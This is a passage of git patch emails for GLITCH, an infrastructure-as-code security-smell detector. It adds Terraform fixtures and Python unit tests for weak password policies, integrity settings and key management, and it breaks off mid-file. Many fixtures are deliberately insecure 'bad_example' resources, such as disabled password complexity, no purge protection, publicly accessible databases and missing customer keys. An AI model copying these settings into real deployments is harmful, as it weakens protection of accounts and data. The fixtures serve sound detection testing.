+++++++++ .../azure-keyvault-no-purge.tf | 25 +++++++++++ .../tests/security/terraform/test_security.py | 38 +++++++++++++++++ 10 files changed, 313 insertions(+) create mode 100644 glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-no-password-reuse.tf create mode 100644 glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-require-lowercase-in-passwords.tf create mode 100644 glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-require-numbers-in-passwords.tf create mode 100644 glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-require-symbols-in-passwords.tf create mode 100644 glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-require-uppercase-in-passwords.tf create mode 100644 glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-set-max-password-age.tf create mode 100644 glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-set-minimum-password-length.tf create mode 100644 glitch/tests/security/terraform/files/weak-password-key-policy/azure-keyvault-ensure-secret-expiry.tf create mode 100644 glitch/tests/security/terraform/files/weak-password-key-policy/azure-keyvault-no-purge.tf diff --git a/glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-no-password-reuse.tf b/glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-no-password-reuse.tf new file mode 100644 index 00000000..f3047e97 --- /dev/null +++ b/glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-no-password-reuse.tf @@ -0,0 +1,30 @@ +resource "aws_iam_account_password_policy" "bad_example" { + require_numbers = true + require_lowercase_characters = true + minimum_password_length = 14 + require_uppercase_characters = true + require_symbols = true + max_password_age = 90 +} + +resource "aws_iam_account_password_policy" "bad_example2" { + password_reuse_prevention = 1 + + require_numbers = true + require_lowercase_characters = true + minimum_password_length = 14 + require_uppercase_characters = true + require_symbols = true + max_password_age = 90 +} + +resource "aws_iam_account_password_policy" "good_example" { + password_reuse_prevention = 5 + + require_numbers = true + require_lowercase_characters = true + minimum_password_length = 14 + require_uppercase_characters = true + require_symbols = true + max_password_age = 90 +} diff --git a/glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-require-lowercase-in-passwords.tf b/glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-require-lowercase-in-passwords.tf new file mode 100644 index 00000000..30afae88 --- /dev/null +++ b/glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-require-lowercase-in-passwords.tf @@ -0,0 +1,30 @@ +resource "aws_iam_account_password_policy" "bad_example" { + password_reuse_prevention = 5 + require_numbers = true + require_symbols = true + require_uppercase_characters = true + max_password_age = 90 + minimum_password_length = 14 +} + +resource "aws_iam_account_password_policy" "bad_example2" { + require_lowercase_characters = false + + password_reuse_prevention = 5 + require_numbers = true + require_symbols = true + require_uppercase_characters = true + max_password_age = 90 + minimum_password_length = 14 +} + +resource "aws_iam_account_password_policy" "good_example" { + require_lowercase_characters = true + + password_reuse_prevention = 5 + require_numbers = true + require_symbols = true + require_uppercase_characters = true + max_password_age = 90 + minimum_password_length = 14 +} diff --git a/glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-require-numbers-in-passwords.tf b/glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-require-numbers-in-passwords.tf new file mode 100644 index 00000000..db2a9f08 --- /dev/null +++ b/glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-require-numbers-in-passwords.tf @@ -0,0 +1,30 @@ +resource "aws_iam_account_password_policy" "bad_example" { + password_reuse_prevention = 5 + require_symbols = true + require_lowercase_characters = true + require_uppercase_characters = true + max_password_age = 90 + minimum_password_length = 14 +} + +resource "aws_iam_account_password_policy" "bad_example2" { + require_numbers = false + + password_reuse_prevention = 5 + require_symbols = true + require_lowercase_characters = true + require_uppercase_characters = true + max_password_age = 90 + minimum_password_length = 14 +} + +resource "aws_iam_account_password_policy" "good_example" { + require_numbers = true + + password_reuse_prevention = 5 + require_symbols = true + require_lowercase_characters = true + require_uppercase_characters = true + max_password_age = 90 + minimum_password_length = 14 +} diff --git a/glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-require-symbols-in-passwords.tf b/glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-require-symbols-in-passwords.tf new file mode 100644 index 00000000..183d3adf --- /dev/null +++ b/glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-require-symbols-in-passwords.tf @@ -0,0 +1,30 @@ +resource "aws_iam_account_password_policy" "bad_example" { + password_reuse_prevention = 5 + require_numbers = true + require_lowercase_characters = true + require_uppercase_characters = true + max_password_age = 90 + minimum_password_length = 14 +} + +resource "aws_iam_account_password_policy" "bad_example2" { + require_symbols = false + + password_reuse_prevention = 5 + require_numbers = true + require_lowercase_characters = true + require_uppercase_characters = true + max_password_age = 90 + minimum_password_length = 14 +} + +resource "aws_iam_account_password_policy" "good_example" { + require_symbols = true + + password_reuse_prevention = 5 + require_numbers = true + require_lowercase_characters = true + require_uppercase_characters = true + max_password_age = 90 + minimum_password_length = 14 +} diff --git a/glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-require-uppercase-in-passwords.tf b/glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-require-uppercase-in-passwords.tf new file mode 100644 index 00000000..5dfaf44e --- /dev/null +++ b/glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-require-uppercase-in-passwords.tf @@ -0,0 +1,30 @@ +resource "aws_iam_account_password_policy" "bad_example" { + password_reuse_prevention = 5 + require_numbers = true + require_lowercase_characters = true + require_symbols = true + max_password_age = 90 + minimum_password_length = 14 +} + +resource "aws_iam_account_password_policy" "bad_example2" { + require_uppercase_characters = false + + password_reuse_prevention = 5 + require_numbers = true + require_lowercase_characters = true + require_symbols = true + max_password_age = 90 + minimum_password_length = 14 +} + +resource "aws_iam_account_password_policy" "good_example" { + require_uppercase_characters = true + + password_reuse_prevention = 5 + require_numbers = true + require_lowercase_characters = true + require_symbols = true + max_password_age = 90 + minimum_password_length = 14 +} diff --git a/glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-set-max-password-age.tf b/glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-set-max-password-age.tf new file mode 100644 index 00000000..b7490544 --- /dev/null +++ b/glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-set-max-password-age.tf @@ -0,0 +1,40 @@ +resource "aws_iam_account_password_policy" "bad_example" { + password_reuse_prevention = 5 + require_numbers = true + require_lowercase_characters = true + require_uppercase_characters = true + require_symbols = true + minimum_password_length = 14 +} + +resource "aws_iam_account_password_policy" "bad_example2" { + max_password_age = 91 + + password_reuse_prevention = 5 + require_numbers = true + require_lowercase_characters = true + require_uppercase_characters = true + require_symbols = true + minimum_password_length = 14 +} + +resource "aws_iam_account_password_policy" "good_example" { + max_password_age = 90 + + password_reuse_prevention = 5 + require_numbers = true + require_lowercase_characters = true + require_uppercase_characters = true + require_symbols = true + minimum_password_length = 14 +} + +resource "aws_iam_account_password_policy" "good_example2" { + password_reuse_prevention = 5 + require_numbers = true + require_lowercase_characters = true + max_password_age = 10 + require_uppercase_characters = true + require_symbols = true + minimum_password_length = 14 +} diff --git a/glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-set-minimum-password-length.tf b/glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-set-minimum-password-length.tf new file mode 100644 index 00000000..087c02ae --- /dev/null +++ b/glitch/tests/security/terraform/files/weak-password-key-policy/aws-iam-set-minimum-password-length.tf @@ -0,0 +1,41 @@ +resource "aws_iam_account_password_policy" "bad_example" { + password_reuse_prevention = 5 + require_numbers = true + require_lowercase_characters = true + require_uppercase_characters = true + require_symbols = true + max_password_age = 90 +} + +resource "aws_iam_account_password_policy" "bad_example2" { + minimum_password_length = 10 + + password_reuse_prevention = 5 + require_numbers = true + require_lowercase_characters = true + require_uppercase_characters = true + require_symbols = true + max_password_age = 90 +} + +resource "aws_iam_account_password_policy" "good_example" { + minimum_password_length = 14 + + password_reuse_prevention = 5 + require_numbers = true + require_lowercase_characters = true + require_uppercase_characters = true + require_symbols = true + max_password_age = 90 +} + +resource "aws_iam_account_password_policy" "good_example2" { + minimum_password_length = 20 + + password_reuse_prevention = 5 + require_numbers = true + require_lowercase_characters = true + require_uppercase_characters = true + require_symbols = true + max_password_age = 90 +} diff --git a/glitch/tests/security/terraform/files/weak-password-key-policy/azure-keyvault-ensure-secret-expiry.tf b/glitch/tests/security/terraform/files/weak-password-key-policy/azure-keyvault-ensure-secret-expiry.tf new file mode 100644 index 00000000..34f0c979 --- /dev/null +++ b/glitch/tests/security/terraform/files/weak-password-key-policy/azure-keyvault-ensure-secret-expiry.tf @@ -0,0 +1,19 @@ +resource "azurerm_key_vault_secret" "bad_example" { + name = "secret-sauce" + value = "szechuan" + key_vault_id = azurerm_key_vault.example.id +} + +resource "azurerm_key_vault_secret" "bad_example2" { + name = "secret-sauce" + value = "szechuan" + key_vault_id = azurerm_key_vault.example.id + expiration_date = "" +} + +resource "azurerm_key_vault_secret" "good_example" { + name = "secret-sauce" + value = "szechuan" + key_vault_id = azurerm_key_vault.example.id + expiration_date = "1982-12-31T00:00:00Z" +} diff --git a/glitch/tests/security/terraform/files/weak-password-key-policy/azure-keyvault-no-purge.tf b/glitch/tests/security/terraform/files/weak-password-key-policy/azure-keyvault-no-purge.tf new file mode 100644 index 00000000..3b2fab02 --- /dev/null +++ b/glitch/tests/security/terraform/files/weak-password-key-policy/azure-keyvault-no-purge.tf @@ -0,0 +1,25 @@ +resource "azurerm_key_vault" "bad_example" { + enabled_for_disk_encryption = true + network_acls { + default_action = "Deny" + bypass = "AzureServices" + } +} + +resource "azurerm_key_vault" "bad_example2" { + enabled_for_disk_encryption = true + purge_protection_enabled = false + network_acls { + default_action = "Deny" + bypass = "AzureServices" + } +} + +resource "azurerm_key_vault" "good_example" { + enabled_for_disk_encryption = true + purge_protection_enabled = true + network_acls { + default_action = "Deny" + bypass = "AzureServices" + } +} diff --git a/glitch/tests/security/terraform/test_security.py b/glitch/tests/security/terraform/test_security.py index 252df319..05e69ad2 100644 --- a/glitch/tests/security/terraform/test_security.py +++ b/glitch/tests/security/terraform/test_security.py @@ -584,5 +584,43 @@ def test_terraform_missing_threats_detection_and_alerts(self): 2, ["sec_threats_detection_alerts", "sec_threats_detection_alerts"], [1, 16] ) + def test_terraform_weak_password_key_policy(self): + self.__help_test( + "tests/security/terraform/files/weak-password-key-policy/aws-iam-no-password-reuse.tf", + 2, ["sec_weak_password_key_policy", "sec_weak_password_key_policy"], [1, 11] + ) + self.__help_test( + "tests/security/terraform/files/weak-password-key-policy/aws-iam-require-lowercase-in-passwords.tf", + 2, ["sec_weak_password_key_policy", "sec_weak_password_key_policy"], [1, 11] + ) + self.__help_test( + "tests/security/terraform/files/weak-password-key-policy/aws-iam-require-numbers-in-passwords.tf", + 2, ["sec_weak_password_key_policy", "sec_weak_password_key_policy"], [1, 11] + ) + self.__help_test( + "tests/security/terraform/files/weak-password-key-policy/aws-iam-require-symbols-in-passwords.tf", + 2, ["sec_weak_password_key_policy", "sec_weak_password_key_policy"], [1, 11] + ) + self.__help_test( + "tests/security/terraform/files/weak-password-key-policy/aws-iam-require-uppercase-in-passwords.tf", + 2, ["sec_weak_password_key_policy", "sec_weak_password_key_policy"], [1, 11] + ) + self.__help_test( + "tests/security/terraform/files/weak-password-key-policy/aws-iam-set-max-password-age.tf", + 2, ["sec_weak_password_key_policy", "sec_weak_password_key_policy"], [1, 11] + ) + self.__help_test( + "tests/security/terraform/files/weak-password-key-policy/aws-iam-set-minimum-password-length.tf", + 2, ["sec_weak_password_key_policy", "sec_weak_password_key_policy"], [1, 11] + ) + self.__help_test( + "tests/security/terraform/files/weak-password-key-policy/azure-keyvault-ensure-secret-expiry.tf", + 2, ["sec_weak_password_key_policy", "sec_weak_password_key_policy"], [1, 11] + ) + self.__help_test( + "tests/security/terraform/files/weak-password-key-policy/azure-keyvault-no-purge.tf", + 2, ["sec_weak_password_key_policy", "sec_weak_password_key_policy"], [1, 11] + ) + if __name__ == '__main__': unittest.main() \ No newline at end of file From 80502223c866e5b595a61c90386b188948eee711 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Fri, 31 Mar 2023 12:13:22 +0100 Subject: [PATCH 29/58] Tests for Terraform: Integrity Policy code smell --- .../aws-ecr-immutable-repo.tf | 24 ++++++++++++++ ...gle-compute-enable-integrity-monitoring.tf | 31 +++++++++++++++++++ .../google-compute-enable-virtual-tpm.tf | 31 +++++++++++++++++++ .../tests/security/terraform/test_security.py | 14 +++++++++ 4 files changed, 100 insertions(+) create mode 100644 glitch/tests/security/terraform/files/integrity-policy/aws-ecr-immutable-repo.tf create mode 100644 glitch/tests/security/terraform/files/integrity-policy/google-compute-enable-integrity-monitoring.tf create mode 100644 glitch/tests/security/terraform/files/integrity-policy/google-compute-enable-virtual-tpm.tf diff --git a/glitch/tests/security/terraform/files/integrity-policy/aws-ecr-immutable-repo.tf b/glitch/tests/security/terraform/files/integrity-policy/aws-ecr-immutable-repo.tf new file mode 100644 index 00000000..74062acf --- /dev/null +++ b/glitch/tests/security/terraform/files/integrity-policy/aws-ecr-immutable-repo.tf @@ -0,0 +1,24 @@ +resource "aws_ecr_repository" "bad_example" { + encryption_configuration { + encryption_type = "KMS" + kms_key = aws_kms_key.ecr_kms.key_id + } +} + +resource "aws_ecr_repository" "bad_example2" { + image_tag_mutability = "MUTABLE" + + encryption_configuration { + encryption_type = "KMS" + kms_key = aws_kms_key.ecr_kms.key_id + } +} + +resource "aws_ecr_repository" "good_example" { + image_tag_mutability = "IMMUTABLE" + + encryption_configuration { + encryption_type = "KMS" + kms_key = aws_kms_key.ecr_kms.key_id + } +} diff --git a/glitch/tests/security/terraform/files/integrity-policy/google-compute-enable-integrity-monitoring.tf b/glitch/tests/security/terraform/files/integrity-policy/google-compute-enable-integrity-monitoring.tf new file mode 100644 index 00000000..0fdb2689 --- /dev/null +++ b/glitch/tests/security/terraform/files/integrity-policy/google-compute-enable-integrity-monitoring.tf @@ -0,0 +1,31 @@ +resource "google_compute_instance" "bad_example" { + shielded_instance_config { + enable_integrity_monitoring = false + } + + metadata { + block-project-ssh-keys = true + } + boot_disk { + kms_key_self_link = "something" + } + service_account { + email = "example@email.com" + } +} + +resource "google_compute_instance" "good_example" { + shielded_instance_config { + enable_integrity_monitoring = true + } + + metadata { + block-project-ssh-keys = true + } + boot_disk { + kms_key_self_link = "something" + } + service_account { + email = "example@email.com" + } +} diff --git a/glitch/tests/security/terraform/files/integrity-policy/google-compute-enable-virtual-tpm.tf b/glitch/tests/security/terraform/files/integrity-policy/google-compute-enable-virtual-tpm.tf new file mode 100644 index 00000000..83ad4260 --- /dev/null +++ b/glitch/tests/security/terraform/files/integrity-policy/google-compute-enable-virtual-tpm.tf @@ -0,0 +1,31 @@ +resource "google_compute_instance" "bad_example" { + shielded_instance_config { + enable_vtpm = false + } + + metadata { + block-project-ssh-keys = true + } + boot_disk { + kms_key_self_link = "something" + } + service_account { + email = "example@email.com" + } +} + +resource "google_compute_instance" "good_example" { + shielded_instance_config { + enable_vtpm = true + } + + metadata { + block-project-ssh-keys = true + } + boot_disk { + kms_key_self_link = "something" + } + service_account { + email = "example@email.com" + } +} diff --git a/glitch/tests/security/terraform/test_security.py b/glitch/tests/security/terraform/test_security.py index 05e69ad2..5b784ef5 100644 --- a/glitch/tests/security/terraform/test_security.py +++ b/glitch/tests/security/terraform/test_security.py @@ -622,5 +622,19 @@ def test_terraform_weak_password_key_policy(self): 2, ["sec_weak_password_key_policy", "sec_weak_password_key_policy"], [1, 11] ) + def test_terraform_integrity_policy(self): + self.__help_test( + "tests/security/terraform/files/integrity-policy/aws-ecr-immutable-repo.tf", + 2, ["sec_integrity_policy", "sec_integrity_policy"], [1, 9] + ) + self.__help_test( + "tests/security/terraform/files/integrity-policy/google-compute-enable-integrity-monitoring.tf", + 1, ["sec_integrity_policy"], [3] + ) + self.__help_test( + "tests/security/terraform/files/integrity-policy/google-compute-enable-virtual-tpm.tf", + 1, ["sec_integrity_policy"], [3] + ) + if __name__ == '__main__': unittest.main() \ No newline at end of file From f7e4e94fc72503175cd6aa2b40b0dd1d0131aaf4 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Mon, 3 Apr 2023 11:04:30 +0100 Subject: [PATCH 30/58] Tests for Terraform: Sensitive action by IAM and Key Management code smells; minor fixes. --- glitch/analysis/security.py | 8 +- glitch/configs/default.ini | 12 +- .../associated-access-block-to-s3-bucket.tf | 2 +- ...s-database-instance-publicly-accessible.tf | 7 +- .../aws-cloudtrail-encryption-use-cmk.tf | 26 ++++ .../aws-cloudwatch-log-group-customer-key.tf | 15 +++ .../key-management/aws-documentdb-use-cmk.tf | 16 +++ .../aws-dynamodb-table-use-cmk.tf | 19 +++ .../files/key-management/aws-ebs-use-cmk.tf | 13 ++ .../files/key-management/aws-ecr-use-cmk.tf | 25 ++++ .../aws-kinesis-stream-use-cmk.tf | 13 ++ .../aws-kms-auto-rotate-keys.tf | 10 ++ .../key-management/aws-neptune-use-cmk.tf | 16 +++ .../aws-sns-topic-encryption-use-cmk.tf | 10 ++ .../aws-sqs-queue-encryption-use-cmk.tf | 10 ++ .../key-management/aws-ssm-secret-use-cmk.tf | 13 ++ ...ure-keyvault-ensure-key-expiration-date.tf | 10 ++ .../azure-storage-account-use-cmk.tf | 29 +++++ .../google-compute-disk-encryption-use-cmk.tf | 14 +++ ...google-compute-no-project-wide-ssh-keys.tf | 32 +++++ ...ogle-compute-vm-disk-encryption-use-cmk.tf | 34 ++++++ .../google-kms-rotate-kms-keys.tf | 22 ++++ .../key-management/rds-cluster-use-cmk.tf | 13 ++ .../key-management/rds-instance-use-cmk.tf | 21 ++++ .../rds-performance-insights-use-cmk.tf | 16 +++ .../redshift-cluster-use-cmk.tf | 13 ++ .../s3-encryption-customer-key.tf | 101 ++++++++++++++++ .../rds-encrypt-instance-storage-data.tf | 3 + .../unencrypted-sns-topic.tf | 10 -- .../unencrypted-sqs-queue.tf | 10 -- .../aws-iam-no-policy-wildcards.tf | 45 +++++++ .../tests/security/terraform/test_security.py | 113 ++++++++++++++++-- 32 files changed, 659 insertions(+), 42 deletions(-) create mode 100644 glitch/tests/security/terraform/files/key-management/aws-cloudtrail-encryption-use-cmk.tf create mode 100644 glitch/tests/security/terraform/files/key-management/aws-cloudwatch-log-group-customer-key.tf create mode 100644 glitch/tests/security/terraform/files/key-management/aws-documentdb-use-cmk.tf create mode 100644 glitch/tests/security/terraform/files/key-management/aws-dynamodb-table-use-cmk.tf create mode 100644 glitch/tests/security/terraform/files/key-management/aws-ebs-use-cmk.tf create mode 100644 glitch/tests/security/terraform/files/key-management/aws-ecr-use-cmk.tf create mode 100644 glitch/tests/security/terraform/files/key-management/aws-kinesis-stream-use-cmk.tf create mode 100644 glitch/tests/security/terraform/files/key-management/aws-kms-auto-rotate-keys.tf create mode 100644 glitch/tests/security/terraform/files/key-management/aws-neptune-use-cmk.tf create mode 100644 glitch/tests/security/terraform/files/key-management/aws-sns-topic-encryption-use-cmk.tf create mode 100644 glitch/tests/security/terraform/files/key-management/aws-sqs-queue-encryption-use-cmk.tf create mode 100644 glitch/tests/security/terraform/files/key-management/aws-ssm-secret-use-cmk.tf create mode 100644 glitch/tests/security/terraform/files/key-management/azure-keyvault-ensure-key-expiration-date.tf create mode 100644 glitch/tests/security/terraform/files/key-management/azure-storage-account-use-cmk.tf create mode 100644 glitch/tests/security/terraform/files/key-management/google-compute-disk-encryption-use-cmk.tf create mode 100644 glitch/tests/security/terraform/files/key-management/google-compute-no-project-wide-ssh-keys.tf create mode 100644 glitch/tests/security/terraform/files/key-management/google-compute-vm-disk-encryption-use-cmk.tf create mode 100644 glitch/tests/security/terraform/files/key-management/google-kms-rotate-kms-keys.tf create mode 100644 glitch/tests/security/terraform/files/key-management/rds-cluster-use-cmk.tf create mode 100644 glitch/tests/security/terraform/files/key-management/rds-instance-use-cmk.tf create mode 100644 glitch/tests/security/terraform/files/key-management/rds-performance-insights-use-cmk.tf create mode 100644 glitch/tests/security/terraform/files/key-management/redshift-cluster-use-cmk.tf create mode 100644 glitch/tests/security/terraform/files/key-management/s3-encryption-customer-key.tf delete mode 100644 glitch/tests/security/terraform/files/missing-encryption/unencrypted-sns-topic.tf delete mode 100644 glitch/tests/security/terraform/files/missing-encryption/unencrypted-sqs-queue.tf create mode 100644 glitch/tests/security/terraform/files/sensitive-action-by-iam/aws-iam-no-policy-wildcards.tf diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index 3429a680..59cb1fd8 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -996,10 +996,12 @@ def get_module_var(c, name: str): break if (name == "cloud_watch_logs_group_arn" and atomic_unit.type == "resource.aws_cloudtrail"): - if re.match(r"^${aws_cloudwatch_log_group\..", value): + if re.match(r"^\${aws_cloudwatch_log_group\..", value): aws_cloudwatch_log_group_name = value.split('.')[1] - if not get_au(aws_cloudwatch_log_group_name, "resource.aws_cloudwatch_log_group"): - errors.append(Error('sec_logging', c, file, repr(c))) + if not get_au(self.code, aws_cloudwatch_log_group_name, "resource.aws_cloudwatch_log_group"): + errors.append(Error('sec_logging', c, file, repr(c), + f"Suggestion: check for a required resource 'aws_cloudwatch_log_group' " + + f"with name '{aws_cloudwatch_log_group_name}'.")) else: errors.append(Error('sec_logging', c, file, repr(c))) elif (((name == "retention_in_days" and parent_name == "" diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index 77d1a528..9438e2df 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -223,8 +223,6 @@ missing_encryption = [{"au_type": ["resource.aws_api_gateway_method_settings"], "parents": ["encryption_in_transit"], "values": ["true"], "required": "no"}, {"au_type": ["resource.aws_redshift_cluster"], "attribute": "encrypted", "parents": [""], "values": ["true"], "required": "yes", "msg": "encrypted"}, - {"au_type": ["resource.aws_sns_topic", "resource.aws_sqs_queue"], "attribute": "kms_master_key_id", "parents": [""], - "values": ["any_not_empty"], "required": "yes", "msg": "kms_master_key_id"}, {"au_type": ["resource.aws_workspaces_workspace"], "attribute": "root_volume_encryption_enabled", "parents": [""], "values": ["true"], "required": "yes", "msg": "root_volume_encryption_enabled"}, {"au_type": ["resource.aws_workspaces_workspace"], "attribute": "user_volume_encryption_enabled", "parents": [""], @@ -331,7 +329,9 @@ key_management = [{"au_type": ["resource.aws_cloudwatch_log_group", "resource.aw "values": [""], "required": "yes", "msg": "rule.apply_server_side_encryption_by_default.kms_master_key_id"}, {"au_type": ["resource.aws_s3_bucket_server_side_encryption_configuration"], "attribute": "kms_master_key_id", "parents": ["apply_server_side_encryption_by_default"], - "values": ["any_not_empty"], "required": "yes", "msg": "rule.apply_server_side_encryption_by_default.kms_master_key_id"}] + "values": ["any_not_empty"], "required": "yes", "msg": "rule.apply_server_side_encryption_by_default.kms_master_key_id"}, + {"au_type": ["resource.aws_sns_topic", "resource.aws_sqs_queue"], "attribute": "kms_master_key_id", "parents": [""], + "values": ["any_not_empty"], "required": "yes", "msg": "kms_master_key_id"}] network_security_rules = [{"au_type": ["resource.azurerm_storage_account_network_rules"], "attribute": "default_action", "parents": [""], "values": ["deny"], "required": "yes", "msg": "default_action"}, @@ -366,7 +366,7 @@ permission_iam_policies = [{"au_type": ["resource.google_project_iam_member", "r "required": "no", "logic": "diff"}] logging = [{"au_type": ["resource.aws_cloudwatch_log_group"], "attribute": "retention_in_days", "parents": [""], - "values": [""], "required": "yes", "msg": "retention_in_days"}, + "values": ["any_not_empty"], "required": "yes", "msg": "retention_in_days"}, {"au_type": ["resource.azurerm_storage_account"], "attribute": "logging", "parents": ["queue_properties"], "values": [""], "required": "yes", "msg": "queue_properties.logging.delete"}, {"au_type": ["resource.azurerm_storage_account"], "attribute": "logging", "parents": ["queue_properties"], @@ -417,8 +417,8 @@ logging = [{"au_type": ["resource.aws_cloudwatch_log_group"], "attribute": "rete "values": ["logging.googleapis.com/kubernetes"], "required": "no"}, {"au_type": ["resource.google_container_cluster"], "attribute": "monitoring_service", "parents": [""], "values": ["monitoring.googleapis.com/kubernetes"], "required": "no"}, - {"au_type": ["resource.aws_rds_cluster_instance"], "attribute": "performance_insights_enabled", "parents": [""], - "values": ["true"], "required": "yes", "msg": "performance_insights_enabled"}] + {"au_type": ["resource.aws_rds_cluster_instance", "resource.aws_db_instance"], "attribute": "performance_insights_enabled", + "parents": [""], "values": ["true"], "required": "yes", "msg": "performance_insights_enabled"}] google_sql_database_log_flags = [{"flag_name": "log_checkpoints", "value": "on", "required": "yes"}, {"flag_name": "log_connections", "value": "on", "required": "yes"}, diff --git a/glitch/tests/security/terraform/files/insecure-access-control/associated-access-block-to-s3-bucket.tf b/glitch/tests/security/terraform/files/insecure-access-control/associated-access-block-to-s3-bucket.tf index cff78985..c57946b5 100644 --- a/glitch/tests/security/terraform/files/insecure-access-control/associated-access-block-to-s3-bucket.tf +++ b/glitch/tests/security/terraform/files/insecure-access-control/associated-access-block-to-s3-bucket.tf @@ -42,7 +42,7 @@ resource "aws_s3_bucket_server_side_encryption_configuration" "good_example" { } } -resource "aws_s3_bucket_replication_configuration" "bad_example" { +resource "aws_s3_bucket_replication_configuration" "good_example" { bucket = aws_s3_bucket.good_example.id rule { status = "Enabled" diff --git a/glitch/tests/security/terraform/files/insecure-access-control/aws-database-instance-publicly-accessible.tf b/glitch/tests/security/terraform/files/insecure-access-control/aws-database-instance-publicly-accessible.tf index cc4b9818..5df50325 100644 --- a/glitch/tests/security/terraform/files/insecure-access-control/aws-database-instance-publicly-accessible.tf +++ b/glitch/tests/security/terraform/files/insecure-access-control/aws-database-instance-publicly-accessible.tf @@ -1,6 +1,7 @@ resource "aws_db_instance" "bad_example" { publicly_accessible = true kms_key_id = "something" + performance_insights_enabled = true performance_insights_kms_key_id = "something" storage_encrypted = true } @@ -8,14 +9,15 @@ resource "aws_db_instance" "bad_example" { resource "aws_db_instance" "good_example" { publicly_accessible = false kms_key_id = "something" + performance_insights_enabled = true performance_insights_kms_key_id = "something" storage_encrypted = true } resource "aws_rds_cluster_instance" "bad_example" { publicly_accessible = true - performance_insights_kms_key_id = "something" performance_insights_enabled = true + performance_insights_kms_key_id = "something" storage_encrypted = true } @@ -26,8 +28,9 @@ resource "aws_rds_cluster_instance" "good_example" { storage_encrypted = true } -resource "aws_db_instance" "bad_example2" { +resource "aws_db_instance" "good_example2" { kms_key_id = "something" + performance_insights_enabled = true performance_insights_kms_key_id = "something" storage_encrypted = true } diff --git a/glitch/tests/security/terraform/files/key-management/aws-cloudtrail-encryption-use-cmk.tf b/glitch/tests/security/terraform/files/key-management/aws-cloudtrail-encryption-use-cmk.tf new file mode 100644 index 00000000..f3bef553 --- /dev/null +++ b/glitch/tests/security/terraform/files/key-management/aws-cloudtrail-encryption-use-cmk.tf @@ -0,0 +1,26 @@ +resource "aws_cloudtrail" "bad_example" { + is_multi_region_trail = true + enable_log_file_validation = true + cloud_watch_logs_group_arn = "${aws_cloudwatch_log_group.example.arn}:*" +} + +resource "aws_cloudtrail" "bad_example2" { + kms_key_id = "" + + is_multi_region_trail = true + enable_log_file_validation = true + cloud_watch_logs_group_arn = "${aws_cloudwatch_log_group.example.arn}:*" +} + +resource "aws_cloudtrail" "good_example" { + kms_key_id = var.kms_id + + is_multi_region_trail = true + enable_log_file_validation = true + cloud_watch_logs_group_arn = "${aws_cloudwatch_log_group.example.arn}:*" +} + +resource "aws_cloudwatch_log_group" "example" { + kms_key_id = aws_kms_key.log_key.arn + retention_in_days = 90 +} diff --git a/glitch/tests/security/terraform/files/key-management/aws-cloudwatch-log-group-customer-key.tf b/glitch/tests/security/terraform/files/key-management/aws-cloudwatch-log-group-customer-key.tf new file mode 100644 index 00000000..5d2a1250 --- /dev/null +++ b/glitch/tests/security/terraform/files/key-management/aws-cloudwatch-log-group-customer-key.tf @@ -0,0 +1,15 @@ +resource "aws_cloudwatch_log_group" "bad_example" { + retention_in_days = 90 +} + +resource "aws_cloudwatch_log_group" "bad_example2" { + kms_key_id = "" + + retention_in_days = 90 +} + +resource "aws_cloudwatch_log_group" "good_example" { + kms_key_id = aws_kms_key.log_key.arn + + retention_in_days = 90 +} diff --git a/glitch/tests/security/terraform/files/key-management/aws-documentdb-use-cmk.tf b/glitch/tests/security/terraform/files/key-management/aws-documentdb-use-cmk.tf new file mode 100644 index 00000000..596ffe44 --- /dev/null +++ b/glitch/tests/security/terraform/files/key-management/aws-documentdb-use-cmk.tf @@ -0,0 +1,16 @@ +resource "aws_docdb_cluster" "bad_example" { + storage_encrypted = true + enabled_cloudwatch_logs_exports = ["audit"] +} + +resource "aws_docdb_cluster" "bad_example2" { + kms_key_id = "" + storage_encrypted = true + enabled_cloudwatch_logs_exports = ["audit"] +} + +resource "aws_docdb_cluster" "good_example" { + kms_key_id = aws_kms_key.docdb_encryption.arn + storage_encrypted = true + enabled_cloudwatch_logs_exports = ["audit"] +} diff --git a/glitch/tests/security/terraform/files/key-management/aws-dynamodb-table-use-cmk.tf b/glitch/tests/security/terraform/files/key-management/aws-dynamodb-table-use-cmk.tf new file mode 100644 index 00000000..5f3e8b58 --- /dev/null +++ b/glitch/tests/security/terraform/files/key-management/aws-dynamodb-table-use-cmk.tf @@ -0,0 +1,19 @@ +resource "aws_dynamodb_table" "bad_example" { + server_side_encryption { + enabled = true + } +} + +resource "aws_dynamodb_table" "bad_example2" { + server_side_encryption { + enabled = true + kms_key_arn = "" + } +} + +resource "aws_dynamodb_table" "good_example" { + server_side_encryption { + enabled = true + kms_key_arn = aws_kms_key.dynamo_db_kms.key_id + } +} diff --git a/glitch/tests/security/terraform/files/key-management/aws-ebs-use-cmk.tf b/glitch/tests/security/terraform/files/key-management/aws-ebs-use-cmk.tf new file mode 100644 